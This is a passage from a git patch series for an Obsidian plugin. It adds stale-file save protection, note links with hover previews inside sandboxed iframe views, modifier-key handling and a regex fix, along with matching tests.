"untitled"}</p>\n\`\`\``; - -describe("resolveFence", () => { - it("follows a titled fence when an earlier fence is inserted or removed", () => { - const before = findViewFences([fence("A"), fence("B")].join("\n\n")); - const state = { path: "n.md", index: 1, title: before[1].spec.title }; - const inserted = findViewFences([fence("X"), fence("A"), fence("B")].join("\n\n")); - expect(resolveFence(inserted, state)?.index).toBe(2); - const removed = findViewFences([fence("B")].join("\n\n")); - expect(resolveFence(removed, state)?.index).toBe(0); - }); - - it("falls back to the ordinal for untitled fences", () => { - const fences = findViewFences([fence(), fence()].join("\n\n")); - expect(resolveFence(fences, { path: "n.md", index: 1 })?.index).toBe(1); - // Ordinal still valid and untitled while the stored title matches nothing: accept it. - const mixed = findViewFences([fence("A"), fence()].join("\n\n")); - expect(resolveFence(mixed, { path: "n.md", index: 1, title: "B" })?.index).toBe(1); - }); - - it("treats a retitled fence as missing rather than guessing", () => { - // Indistinguishable from a redirect by title alone; reopening from the note fixes it. - const retitled = findViewFences([fence("A"), fence("B2")].join("\n\n")); - expect(resolveFence(retitled, { path: "n.md", index: 1, title: "B" })).toBeNull(); - }); - - it("reports a missing target instead of redirecting to another view", () => { - const fences = findViewFences([fence("A"), fence("C")].join("\n\n")); - // "B" is gone and ordinal 1 is now a different titled view. - expect(resolveFence(fences, { path: "n.md", index: 1, title: "B" })).toBeNull(); - expect(resolveFence(fences, { path: "n.md", index: 5 })).toBeNull(); - expect(resolveFence([], { path: "n.md", index: 0 })).toBeNull(); - }); -}); From f543bbf07e1349eee119047fb81dc0a3e9e9ce87 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 15:29:50 +0200 Subject: [PATCH 06/21] fix(views): source editor refuses to overwrite a newer file; embeds drop stale loads The source editor remembers the file's mtime when it loaded the text. A change that lands meanwhile (an accepted agent edit, sync) is announced in the editor's bar and makes Save refuse rather than write the older copy over it; Cancel reloads. The embed renderer tracks a generation per load and on unload, so an older read that finishes late cannot replace newer content or install a child into an unloaded embed. Co-Authored-By: Claude <noreply@anthropic.com> --- src/styles.css | 4 ++++ src/views/gen-view/GenView.ts | 32 +++++++++++++++++++++++++++++++- src/views/gen-view/viewEmbed.ts | 5 +++++ 3 files changed, 40 insertions(+), 1 deletion(-) diff --git a/src/styles.css b/src/styles.css index 07f8134a..76e41387 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1704,6 +1704,10 @@ body.is-mobile .tool-output-content pre .clickable-icon { color: var(--text-muted); font-size: var(--font-ui-smaller); } +.s2b-gen-view-source-stale { + margin-left: 0; + color: var(--text-warning); +} .s2b-view-frame { display: block; /* The host sets this frame's height to content + padding; the border must sit diff --git a/src/views/gen-view/GenView.ts b/src/views/gen-view/GenView.ts index 1357fe65..6605dbd1 100644 --- a/src/views/gen-view/GenView.ts +++ b/src/views/gen-view/GenView.ts @@ -22,6 +22,9 @@ export class GenView extends FileView { private body: HTMLElement | null = null; private child: ViewRenderChild | null = null; private source: HTMLElement | null = null; + /** mtime of the file when the source editor loaded it; a save refuses if the file moved on. */ + private sourceMtime = 0; + private sourceStaleHint: HTMLElement | null = null; private rerenderTimer: number | null = null; constructor( @@ -54,7 +57,9 @@ export class GenView extends FileView { this.registerEvent( this.plugin.app.vault.on("modify", (file) => { - if (file.path === this.file?.path && !this.source) this.scheduleRender(); + if (file.path !== this.file?.path) return; + if (this.source) this.markSourceStale(); + else this.scheduleRender(); }), ); } @@ -118,6 +123,7 @@ export class GenView extends FileView { if (this.file !== file || !this.body) return; this.dropChild(); this.body.empty(); + this.sourceMtime = file.stat.mtime; this.source = this.body.createDiv({ cls: "s2b-gen-view-source" }); const textarea = this.source.createEl("textarea", { cls: "s2b-gen-view-source-text", @@ -130,6 +136,8 @@ export class GenView extends FileView { const hint = bar.createSpan({ cls: "s2b-gen-view-source-hint" }); setIcon(hint, "info"); hint.createSpan({ text: "Frontmatter (title, height, queries, libs), then the HTML." }); + this.sourceStaleHint = bar.createSpan({ cls: "s2b-gen-view-source-hint s2b-gen-view-source-stale" }); + this.sourceStaleHint.hide(); save.addEventListener("click", () => void this.saveSource(textarea.value)); cancel.addEventListener("click", () => void this.toggleSource()); textarea.addEventListener("keydown", (event) => { @@ -141,9 +149,30 @@ export class GenView extends FileView { textarea.focus(); } + /** The file changed on disk while the editor holds an older copy: say so, and refuse to save over it. */ + private markSourceStale(): void { + const hint = this.sourceStaleHint; + if (!hint || !hint.isShown()) { + if (hint) { + setIcon(hint, "alert-triangle"); + hint.createSpan({ text: "Changed on disk while editing — Cancel to reload; Save is disabled." }); + hint.show(); + } + } + } + + private isSourceStale(): boolean { + return this.file !== null && this.file.stat.mtime !== this.sourceMtime; + } + private async saveSource(text: string): Promise<void> { const file = this.file; if (!file) return; + if (this.isSourceStale()) { + this.markSourceStale(); + new Notice("This view changed on disk while you were editing. Cancel to reload it, then edit again."); + return; + } try { await this.plugin.app.vault.modify(file, text.endsWith("\n") ? text : `${text}\n`); } catch (error) { @@ -157,5 +186,6 @@ export class GenView extends FileView { private closeSource(): void { this.source?.remove(); this.source = null; + this.sourceStaleHint = null; } } diff --git a/src/views/gen-view/viewEmbed.ts b/src/views/gen-view/viewEmbed.ts index fbc44171..1d1b723a 100644 --- a/src/views/gen-view/viewEmbed.ts +++ b/src/views/gen-view/viewEmbed.ts @@ -29,6 +29,8 @@ interface EmbedRegistry { */ class ViewEmbed extends MarkdownRenderChild { private child: ViewRenderChild | null = null; + /** Bumped per load and on unload so a slower, older read cannot install stale content. */ + private generation = 0; constructor( containerEl: HTMLElement, @@ -43,8 +45,10 @@ class ViewEmbed extends MarkdownRenderChild { } private async render(): Promise<void> { + const generation = ++this.generation; try { const text = await this.plugin.app.vault.cachedRead(this.file); + if (generation !== this.generation) return; this.drop(); this.containerEl.empty(); this.containerEl.addClass("s2b-view", "s2b-view-embed"); @@ -57,6 +61,7 @@ class ViewEmbed extends MarkdownRenderChild { } onunload(): void { + this.generation++; this.drop(); } From 07ef60f5cf4b3f57d5766fa365eec72215c71e2d Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 15:41:17 +0200 Subject: [PATCH 07/21] feat(views): note links inside a view preview like links in a note Any element with data-note="<path>" is a note link: the frame runtime opens it on click and reports its box on hover; the host lays an invisible proxy over that box (the frame's content is unreachable from the host) and hands it to Obsidian's page preview as the link, under a registered hover source. The proxy takes pointer events so the popover's own hover tracking works natively, opens the note on click (modifier-aware), and removes itself when the pointer leaves it. The skill's example and API notes use data-note. Co-Authored-By: Claude <noreply@anthropic.com> --- src/genview/ViewRenderChild.ts | 68 +++++++++++++++++++++++++++++- src/genview/viewFrame.ts | 63 ++++++++++++++++++++++++++- src/main.ts | 3 ++ src/skills/defaults/views/SKILL.md | 8 ++-- src/styles.css | 8 ++++ test/genview/viewFrame.test.ts | 35 +++++++++++++++ 6 files changed, 179 insertions(+), 6 deletions(-) diff --git a/src/genview/ViewRenderChild.ts b/src/genview/ViewRenderChild.ts index 82b86f61..965e450a 100644 --- a/src/genview/ViewRenderChild.ts +++ b/src/genview/ViewRenderChild.ts @@ -1,7 +1,8 @@ -import { type App, type EventRef, MarkdownRenderChild } from "obsidian"; +import { type App, type EventRef, type HoverPopover, Keymap, MarkdownRenderChild } from "obsidian"; import { buildViewFrameSrcdoc, collectThemeCss, + type HoverNoteMessage, parseFrameMessage, VIEW_FRAME_PADDING_PX, VIEW_READY_EVENT, @@ -23,6 +24,9 @@ const MAX_AUTO_HEIGHT = 4000; */ const REFRESH_EVENTS = ["changed", "dataview:metadata-change", "dataview:index-ready"]; +/** Hover-link source id registered in main.ts so page preview knows these links. */ +export const VIEW_HOVER_SOURCE = "smart-second-brain-view"; + /** * One rendered view: owns the sandboxed frame, feeds it query results, keeps those * results live while the vault changes, and tears everything down with the block. @@ -35,7 +39,10 @@ const REFRESH_EVENTS = ["changed", "dataview:metadata-change", "dataview:index-r * view re-renders, the chat message is replaced, the note closes). */ export class ViewRenderChild extends MarkdownRenderChild { + /** Page preview attaches its popover here (`HoverParent`). */ + hoverPopover: HoverPopover | null = null; private frame: HTMLIFrameElement | null = null; + private hoverProxy: HTMLElement | null = null; private refreshTimer: number | null = null; private queryGeneration = 0; @@ -91,6 +98,7 @@ export class ViewRenderChild extends MarkdownRenderChild { } // Invalidate any in-flight query so its result is dropped rather than posted. this.queryGeneration++; + this.removeHoverProxy(); this.frame = null; } @@ -123,6 +131,9 @@ export class ViewRenderChild extends MarkdownRenderChild { case "open-note": void this.app.workspace.openLinkText(message.path, this.sourcePath, false); break; + case "hover-note": + this.showHoverProxy(message); + break; case "navigated": this.retireFrame(); break; @@ -144,6 +155,61 @@ export class ViewRenderChild extends MarkdownRenderChild { }); } + /** + * Lay an invisible element over the hovered link's box — the frame's content is + * unreachable from the host — and hand it to page preview as the link. The proxy + * takes pointer events, so the popover's own hover tracking works natively; it + * opens the note on click and removes itself when the pointer leaves it. + */ + private showHoverProxy({ path, rect, ctrlKey, metaKey }: HoverNoteMessage): void { + const frame = this.frame; + if (!frame) return; + this.removeHoverProxy(); + const frameBox = frame.getBoundingClientRect(); + const hostBox = this.containerEl.getBoundingClientRect(); + const style = getComputedStyle(frame); + const insetX = (Number.parseFloat(style.borderLeftWidth) || 0) + VIEW_FRAME_PADDING_PX; + const insetY = (Number.parseFloat(style.borderTopWidth) || 0) + VIEW_FRAME_PADDING_PX; + const innerWidth = frameBox.width - 2 * insetX; + const innerHeight = frameBox.height - 2 * insetY; + // Clamp to the visible part of the view document. + const x = Math.max(0, Math.min(rect.x, innerWidth)); + const y = Math.max(0, Math.min(rect.y, innerHeight)); + const width = Math.max(1, Math.min(rect.width - (x - rect.x), innerWidth - x)); + const height = Math.max(1, Math.min(rect.height - (y - rect.y), innerHeight - y)); + + const proxy = this.containerEl.createDiv({ cls: "s2b-view-hover-proxy" }); + proxy.style.left = `${frameBox.left - hostBox.left + insetX + x}px`; + proxy.style.top = `${frameBox.top - hostBox.top + insetY + y}px`; + proxy.style.width = `${width}px`; + proxy.style.height = `${height}px`; + proxy.addEventListener("mouseleave", () => this.removeHoverProxy()); + proxy.addEventListener("click", (event) => { + void this.app.workspace.openLinkText(path, this.sourcePath, Keymap.isModEvent(event)); + }); + this.hoverProxy = proxy; + + const proxyBox = proxy.getBoundingClientRect(); + this.app.workspace.trigger("hover-link", { + event: new MouseEvent("mouseover", { + ctrlKey, + metaKey, + clientX: proxyBox.left + proxyBox.width / 2, + clientY: proxyBox.top + proxyBox.height / 2, + }), + source: VIEW_HOVER_SOURCE, + hoverParent: this, + targetEl: proxy, + linktext: path, + sourcePath: this.sourcePath, + }); + } + + private removeHoverProxy(): void { + this.hoverProxy?.remove(); + this.hoverProxy = null; + } + private post(message: Record<string, unknown>): void { // The frame has an opaque origin (sandbox without allow-same-origin), so "*" is the // only target that reaches it; the CSP inside keeps what it receives from leaving. diff --git a/src/genview/viewFrame.ts b/src/genview/viewFrame.ts index 51328ad2..f73c38d1 100644 --- a/src/genview/viewFrame.ts +++ b/src/genview/viewFrame.ts @@ -30,8 +30,16 @@ * * Both directions are `postMessage` with a fixed, tagged shape (`s2bView: true`). * Host → view: `data` (query results) and `theme` (CSS variables). View → host: `ready`, - * `resize`, `open-note`, `requery`; outer → host additionally `navigated`. Every hop - * checks `event.source` against the one window it accepts from. Nothing else crosses. + * `resize`, `open-note`, `hover-note`, `requery`; outer → host additionally `navigated`. + * Every hop checks `event.source` against the one window it accepts from. Nothing else + * crosses. + * + * ## Note links + * + * Any element with `data-note="<path>"` is a note link: the runtime opens it on click and + * reports its rectangle on hover, and the host lays an invisible proxy element over that + * rectangle and hands it to Obsidian's page preview — so a link inside a view previews + * exactly like one in a note. `s2b.openNote(path)` stays for programmatic opening. * * Known residual: hostname-based side channels that CSP does not govern (DNS prefetch * hints). `x-dns-prefetch-control: off` is set in the inner document; a view is still @@ -164,6 +172,30 @@ export const VIEW_RUNTIME_SCRIPT = ` send({ type: "requery" }); }, }; + const noteLinkOf = (target) => (target && target.closest ? target.closest("[data-note]") : null); + document.addEventListener("click", (event) => { + const link = noteLinkOf(event.target); + if (!link) return; + event.preventDefault(); + send({ type: "open-note", path: String(link.getAttribute("data-note")) }); + }); + let hoveredLink = null; + document.addEventListener("mouseover", (event) => { + const link = noteLinkOf(event.target); + if (!link || link === hoveredLink) return; + hoveredLink = link; + const rect = link.getBoundingClientRect(); + send({ + type: "hover-note", + path: String(link.getAttribute("data-note")), + rect: { x: rect.left, y: rect.top, width: rect.width, height: rect.height }, + ctrlKey: event.ctrlKey, + metaKey: event.metaKey, + }); + }); + document.addEventListener("mouseout", (event) => { + if (hoveredLink && noteLinkOf(event.relatedTarget) !== hoveredLink) hoveredLink = null; + }); window.addEventListener("message", (event) => { if (event.source !== window.parent) return; const message = event.data; @@ -388,13 +420,25 @@ iframe { display: block; width: 100%; height: 100%; border: 0; } </html>`; } +export interface HoverNoteMessage { + type: "hover-note"; + path: string; + /** The link's box in the view document's viewport coordinates. */ + rect: { x: number; y: number; width: number; height: number }; + ctrlKey: boolean; + metaKey: boolean; +} + export type FrameToHostMessage = | { type: "ready" } | { type: "resize"; height: number; extent: number } | { type: "open-note"; path: string } + | HoverNoteMessage | { type: "requery" } | { type: "navigated" }; +const isFiniteNumber = (value: unknown): value is number => typeof value === "number" && Number.isFinite(value); + /** Validate a `message` event payload from a frame. Anything off-shape is dropped. */ export function parseFrameMessage(data: unknown): FrameToHostMessage | null { if (typeof data !== "object" || data === null) return null; @@ -415,6 +459,21 @@ export function parseFrameMessage(data: unknown): FrameToHostMessage | null { return typeof message.path === "string" && message.path.length > 0 ? { type: "open-note", path: message.path } : null; + case "hover-note": { + const rect = message.rect as Record<string, unknown> | undefined; + if (typeof message.path !== "string" || !message.path || typeof rect !== "object" || rect === null) + return null; + const { x, y, width, height } = rect; + if (!isFiniteNumber(x) || !isFiniteNumber(y) || !isFiniteNumber(width) || !isFiniteNumber(height)) + return null; + return { + type: "hover-note", + path: message.path, + rect: { x, y, width, height }, + ctrlKey: message.ctrlKey === true, + metaKey: message.metaKey === true, + }; + } default: return null; } diff --git a/src/main.ts b/src/main.ts index 0f10e719..abe4083d 100755 --- a/src/main.ts +++ b/src/main.ts @@ -30,6 +30,7 @@ import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; import { registerViewBlocks } from "./genview/registerViewBlocks"; +import { VIEW_HOVER_SOURCE } from "./genview/ViewRenderChild"; import { GenView, VIEW_FILE_EXTENSION, VIEW_TYPE_GEN_VIEW } from "./views/gen-view/GenView"; import { registerViewEmbed, unregisterViewEmbed } from "./views/gen-view/viewEmbed"; import { ChatView, VIEW_TYPE_CHAT } from "./views/chat/Chat"; @@ -486,6 +487,8 @@ export default class SecondBrainPlugin extends Plugin { this.registerView(VIEW_TYPE_GEN_VIEW, (leaf) => new GenView(leaf, this)); this.registerExtensions([VIEW_FILE_EXTENSION], VIEW_TYPE_GEN_VIEW); registerViewEmbed(this); + // Note links inside view frames (`data-note`) preview like links in a note. + this.registerHoverLinkSource(VIEW_HOVER_SOURCE, { display: "S2B Views", defaultMod: false }); if (this.manifest.dir === undefined) { this.unload(); diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/views/SKILL.md index 3227834c..479668a3 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/views/SKILL.md @@ -43,7 +43,7 @@ queries: const row = tbody.insertRow(); const a = document.createElement("a"); a.textContent = link.display; - a.onclick = () => s2b.openNote(link.path); + a.dataset.note = link.path; // click opens the note, hover previews it row.insertCell().append(a); row.insertCell().textContent = new Date(modified).toLocaleDateString(); } @@ -81,8 +81,10 @@ static content. available and again on every vault change, so make the render idempotent (clear, then draw). - `s2b.data` — the latest results. -- `s2b.openNote(path)` — open a note in Obsidian. Plain `<a href>` cannot leave the - frame; use this on click. +- `data-note="Path/To/Note.md"` on any element makes it a note link: click opens the + note, hovering shows Obsidian's page preview. Prefer this over click handlers. Plain + `<a href>` cannot leave the frame. +- `s2b.openNote(path)` — open a note programmatically (e.g. from a chart's click handler). - `s2b.refresh()` — ask for a re-run of the queries. ## Plots and 3D diff --git a/src/styles.css b/src/styles.css index 76e41387..c7484488 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1668,8 +1668,16 @@ body.is-mobile .tool-output-content pre .clickable-icon { padding: 0; } .s2b-gen-view-body { + position: relative; height: 100%; } +/* Invisible stand-in for a hovered note link inside a frame (see ViewRenderChild). */ +.s2b-view-hover-proxy { + position: absolute; + z-index: 1; + cursor: pointer; + background: transparent; +} .s2b-view-frame.s2b-view-fill { --s2b-view-border-width: 0px; height: 100%; diff --git a/test/genview/viewFrame.test.ts b/test/genview/viewFrame.test.ts index 9ef55052..37cf27ee 100644 --- a/test/genview/viewFrame.test.ts +++ b/test/genview/viewFrame.test.ts @@ -131,6 +131,41 @@ describe("parseFrameMessage", () => { type: "open-note", path: "a/b.md", }); + expect( + parseFrameMessage({ + s2bView: true, + type: "hover-note", + path: "a/b.md", + rect: { x: 1, y: 2.5, width: 30, height: 12 }, + metaKey: true, + }), + ).toEqual({ + type: "hover-note", + path: "a/b.md", + rect: { x: 1, y: 2.5, width: 30, height: 12 }, + ctrlKey: false, + metaKey: true, + }); + }); + + it("drops hover messages with a missing path or a malformed box", () => { + expect( + parseFrameMessage({ + s2bView: true, + type: "hover-note", + path: "", + rect: { x: 0, y: 0, width: 1, height: 1 }, + }), + ).toBeNull(); + expect(parseFrameMessage({ s2bView: true, type: "hover-note", path: "a.md" })).toBeNull(); + expect( + parseFrameMessage({ + s2bView: true, + type: "hover-note", + path: "a.md", + rect: { x: "0", y: 0, width: 1, height: 1 }, + }), + ).toBeNull(); }); it("drops untagged, unknown or malformed messages", () => { From 5f642d93364f4a272e12ebf78392d58f7e8579ce Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 15:47:43 +0200 Subject: [PATCH 08/21] fix(views): a modified click on a note link inside a view opens it like one in a note MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The runtime forwards the click's modifier keys with open-note and the host maps them through Keymap.isModEvent, so Cmd/Ctrl-click opens a new tab and the alt/shift variants a split or window — regardless of whether the hover proxy was in place for that click. Co-Authored-By: Claude <noreply@anthropic.com> --- src/genview/ViewRenderChild.ts | 7 ++++++- src/genview/viewFrame.ts | 35 ++++++++++++++++++++++++++++------ test/genview/viewFrame.test.ts | 13 +++++++++++++ 3 files changed, 48 insertions(+), 7 deletions(-) diff --git a/src/genview/ViewRenderChild.ts b/src/genview/ViewRenderChild.ts index 965e450a..5c1376da 100644 --- a/src/genview/ViewRenderChild.ts +++ b/src/genview/ViewRenderChild.ts @@ -129,7 +129,12 @@ export class ViewRenderChild extends MarkdownRenderChild { break; } case "open-note": - void this.app.workspace.openLinkText(message.path, this.sourcePath, false); + // Same tab/split/window mapping a modified click gets on a link in a note. + void this.app.workspace.openLinkText( + message.path, + this.sourcePath, + Keymap.isModEvent(new MouseEvent("click", message.modifiers)), + ); break; case "hover-note": this.showHoverProxy(message); diff --git a/src/genview/viewFrame.ts b/src/genview/viewFrame.ts index f73c38d1..703569d2 100644 --- a/src/genview/viewFrame.ts +++ b/src/genview/viewFrame.ts @@ -177,7 +177,11 @@ export const VIEW_RUNTIME_SCRIPT = ` const link = noteLinkOf(event.target); if (!link) return; event.preventDefault(); - send({ type: "open-note", path: String(link.getAttribute("data-note")) }); + send({ + type: "open-note", + path: String(link.getAttribute("data-note")), + modifiers: { ctrlKey: event.ctrlKey, metaKey: event.metaKey, altKey: event.altKey, shiftKey: event.shiftKey }, + }); }); let hoveredLink = null; document.addEventListener("mouseover", (event) => { @@ -429,10 +433,18 @@ export interface HoverNoteMessage { metaKey: boolean; } +/** Modifier keys of the click that asked to open a note; Obsidian maps them to tab/split/window. */ +export interface ClickModifiers { + ctrlKey: boolean; + metaKey: boolean; + altKey: boolean; + shiftKey: boolean; +} + export type FrameToHostMessage = | { type: "ready" } | { type: "resize"; height: number; extent: number } - | { type: "open-note"; path: string } + | { type: "open-note"; path: string; modifiers: ClickModifiers } | HoverNoteMessage | { type: "requery" } | { type: "navigated" }; @@ -455,10 +467,21 @@ export function parseFrameMessage(data: unknown): FrameToHostMessage | null { const validExtent = typeof extent === "number" && Number.isFinite(extent) ? extent : height; return { type: "resize", height, extent: validExtent }; } - case "open-note": - return typeof message.path === "string" && message.path.length > 0 - ? { type: "open-note", path: message.path } - : null; + case "open-note": { + if (typeof message.path !== "string" || !message.path) return null; + const raw = (typeof message.modifiers === "object" && message.modifiers) || {}; + const flags = raw as Record<string, unknown>; + return { + type: "open-note", + path: message.path, + modifiers: { + ctrlKey: flags.ctrlKey === true, + metaKey: flags.metaKey === true, + altKey: flags.altKey === true, + shiftKey: flags.shiftKey === true, + }, + }; + } case "hover-note": { const rect = message.rect as Record<string, unknown> | undefined; if (typeof message.path !== "string" || !message.path || typeof rect !== "object" || rect === null) diff --git a/test/genview/viewFrame.test.ts b/test/genview/viewFrame.test.ts index 37cf27ee..2f39ec3c 100644 --- a/test/genview/viewFrame.test.ts +++ b/test/genview/viewFrame.test.ts @@ -130,6 +130,19 @@ describe("parseFrameMessage", () => { expect(parseFrameMessage({ s2bView: true, type: "open-note", path: "a/b.md" })).toEqual({ type: "open-note", path: "a/b.md", + modifiers: { ctrlKey: false, metaKey: false, altKey: false, shiftKey: false }, + }); + expect( + parseFrameMessage({ + s2bView: true, + type: "open-note", + path: "a/b.md", + modifiers: { metaKey: true, altKey: "yes" }, + }), + ).toEqual({ + type: "open-note", + path: "a/b.md", + modifiers: { ctrlKey: false, metaKey: true, altKey: false, shiftKey: false }, }); expect( parseFrameMessage({ From 0473651f417e1253fc583e165047c83eabbfdc84 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 16:22:58 +0200 Subject: [PATCH 09/21] fix(views): frame runtime broken by a formatter-rewritten escape; Cmd after hover; parse test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The note-link regex in the runtime template literal used an escaped slash pair; the formatter collapsed the escapes and the literal turned them into a comment marker, ending the regex early. The runtime then failed to parse in every frame — no s2b global, no ready, no resize, no hover — which is what made link previews never trigger. The regex now uses a character class with no backslashes, and a unit test parses both the inner runtime and the outer relay script as JavaScript so a break like this fails the suite instead of the frame. Page preview can be set to require Cmd/Ctrl per source, and for a link in a note it reacts to the key being pressed while already hovering. The proxy now does the same: a modifier keydown while it is up re-triggers the preview with the current modifier state. Also treats an anchor whose href is a vault path (not a URL, fragment or scheme) as a note link, the shape a model writes unprompted, alongside data-note. Verified with a trusted pointer and key events driven through the debugger protocol: hovering a link inside a frame with Cmd held, or pressing Cmd while hovering, opens Obsidian's page-preview popover. Co-Authored-By: Claude <noreply@anthropic.com> --- src/genview/ViewRenderChild.ts | 21 +++++++++++++++++++++ src/genview/viewFrame.ts | 29 +++++++++++++++++++++++------ src/skills/defaults/views/SKILL.md | 4 ++-- test/genview/viewFrame.test.ts | 8 ++++++++ 4 files changed, 54 insertions(+), 8 deletions(-) diff --git a/src/genview/ViewRenderChild.ts b/src/genview/ViewRenderChild.ts index 5c1376da..44d3e8a8 100644 --- a/src/genview/ViewRenderChild.ts +++ b/src/genview/ViewRenderChild.ts @@ -43,6 +43,8 @@ export class ViewRenderChild extends MarkdownRenderChild { hoverPopover: HoverPopover | null = null; private frame: HTMLIFrameElement | null = null; private hoverProxy: HTMLElement | null = null; + /** The note the current proxy stands for, so a modifier press can re-trigger its preview. */ + private hoverPath: string | null = null; private refreshTimer: number | null = null; private queryGeneration = 0; @@ -71,6 +73,20 @@ export class ViewRenderChild extends MarkdownRenderChild { this.frame = frame; this.registerDomEvent(window, "message", (event: MessageEvent) => this.onMessage(event)); + // Page preview can be set to require Cmd/Ctrl per source; for a link in a note it + // reacts to the key being pressed while already hovering. The proxy gets the same: + // the pointer is over it (so the host owns keyboard events), and a modifier press + // re-triggers the preview with the current modifier state. + this.registerDomEvent(window, "keydown", (event: KeyboardEvent) => { + if (this.hoverProxy && this.hoverPath && ["Meta", "Control", "Alt", "Shift"].includes(event.key)) { + this.triggerHover( + this.hoverProxy, + this.hoverPath, + event.ctrlKey || event.key === "Control", + event.metaKey || event.key === "Meta", + ); + } + }); this.registerEvent(this.app.workspace.on("css-change", () => this.postTheme())); if (Object.keys(this.spec.queries).length > 0) { @@ -193,7 +209,11 @@ export class ViewRenderChild extends MarkdownRenderChild { void this.app.workspace.openLinkText(path, this.sourcePath, Keymap.isModEvent(event)); }); this.hoverProxy = proxy; + this.hoverPath = path; + this.triggerHover(proxy, path, ctrlKey, metaKey); + } + private triggerHover(proxy: HTMLElement, path: string, ctrlKey: boolean, metaKey: boolean): void { const proxyBox = proxy.getBoundingClientRect(); this.app.workspace.trigger("hover-link", { event: new MouseEvent("mouseover", { @@ -213,6 +233,7 @@ export class ViewRenderChild extends MarkdownRenderChild { private removeHoverProxy(): void { this.hoverProxy?.remove(); this.hoverProxy = null; + this.hoverPath = null; } private post(message: Record<string, unknown>): void { diff --git a/src/genview/viewFrame.ts b/src/genview/viewFrame.ts index 703569d2..4fdd6c64 100644 --- a/src/genview/viewFrame.ts +++ b/src/genview/viewFrame.ts @@ -172,14 +172,31 @@ export const VIEW_RUNTIME_SCRIPT = ` send({ type: "requery" }); }, }; - const noteLinkOf = (target) => (target && target.closest ? target.closest("[data-note]") : null); + // A note link is any element with data-note, or an anchor whose href is a vault + // path rather than a URL, fragment or script — the shape a model writes unprompted. + // No backslashes here: this text lives in a template literal, the formatter collapses + // escapes, and an escaped slash pair would become a comment marker that ends the regex. + const NOT_A_NOTE = /^(?:[a-z][a-z0-9+.-]*:|#|[/][/])/i; + const notePathOf = (element) => { + if (!element) return null; + const explicit = element.getAttribute("data-note"); + if (explicit) return explicit; + const href = element.tagName === "A" ? element.getAttribute("href") : null; + if (href && !NOT_A_NOTE.test(href.trim())) return decodeURIComponent(href.trim()); + return null; + }; + const noteLinkOf = (target) => { + if (!target || !target.closest) return null; + const candidate = target.closest("[data-note], a[href]"); + return candidate && notePathOf(candidate) ? candidate : null; + }; document.addEventListener("click", (event) => { const link = noteLinkOf(event.target); if (!link) return; event.preventDefault(); send({ type: "open-note", - path: String(link.getAttribute("data-note")), + path: String(notePathOf(link)), modifiers: { ctrlKey: event.ctrlKey, metaKey: event.metaKey, altKey: event.altKey, shiftKey: event.shiftKey }, }); }); @@ -191,7 +208,7 @@ export const VIEW_RUNTIME_SCRIPT = ` const rect = link.getBoundingClientRect(); send({ type: "hover-note", - path: String(link.getAttribute("data-note")), + path: String(notePathOf(link)), rect: { x: rect.left, y: rect.top, width: rect.width, height: rect.height }, ctrlKey: event.ctrlKey, metaKey: event.metaKey, @@ -228,8 +245,8 @@ export const VIEW_RUNTIME_SCRIPT = ` const style = getComputedStyle(body); return ( Math.max(body.offsetHeight, body.scrollHeight) + - parseFloat(style.marginTop || "0") + - parseFloat(style.marginBottom || "0") + Number.parseFloat(style.marginTop || "0") + + Number.parseFloat(style.marginBottom || "0") ); }; // The bottom edge of what is actually drawn: for a declared height the host shrinks @@ -244,7 +261,7 @@ export const VIEW_RUNTIME_SCRIPT = ` if (rect.height > 0 || rect.width > 0) bottom = Math.max(bottom, rect.bottom + window.scrollY); } const style = getComputedStyle(body); - return bottom + parseFloat(style.paddingBottom || "0") + parseFloat(style.marginBottom || "0"); + return bottom + Number.parseFloat(style.paddingBottom || "0") + Number.parseFloat(style.marginBottom || "0"); }; let lastExtent = -1; const reportHeight = () => { diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/views/SKILL.md index 479668a3..f23b6590 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/views/SKILL.md @@ -82,8 +82,8 @@ static content. (clear, then draw). - `s2b.data` — the latest results. - `data-note="Path/To/Note.md"` on any element makes it a note link: click opens the - note, hovering shows Obsidian's page preview. Prefer this over click handlers. Plain - `<a href>` cannot leave the frame. + note, hovering shows Obsidian's page preview. An `<a href="Path/To/Note.md">` with a + vault path (not a URL) works the same way. Prefer these over click handlers. - `s2b.openNote(path)` — open a note programmatically (e.g. from a chart's click handler). - `s2b.refresh()` — ask for a re-run of the queries. diff --git a/test/genview/viewFrame.test.ts b/test/genview/viewFrame.test.ts index 2f39ec3c..932def5d 100644 --- a/test/genview/viewFrame.test.ts +++ b/test/genview/viewFrame.test.ts @@ -41,6 +41,14 @@ describe("buildViewSrcdoc (inner document)", () => { expect(VIEW_CSP).not.toContain("connect-src"); }); + it("is valid JavaScript exactly as the frame receives it", () => { + // The runtime is a template literal, so an escape the formatter rewrites can turn + // into something else entirely (`\\/` → `//` once ended a regex and killed every + // handler after it). Parsing catches that; nothing is executed. + expect(() => new Function(VIEW_RUNTIME_SCRIPT)).not.toThrow(); + expect(() => new Function(`const INNER = "";${OUTER_RELAY_SCRIPT}`)).not.toThrow(); + }); + it("keeps the runtime free of template placeholders and script terminators", () => { expect(VIEW_RUNTIME_SCRIPT).not.toContain("${"); expect(VIEW_RUNTIME_SCRIPT).not.toContain("</script"); From 68dc48924821dea3988db7501f5ef92b1fd205a7 Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 16:28:06 +0200 Subject: [PATCH 10/21] fix(views): a note link href with a percent sign is a valid path decodeURIComponent threw on raw vault paths such as "50% off.md"; decoding is now attempted and the raw href used when it is not valid encoding. Co-Authored-By: Claude <noreply@anthropic.com> --- 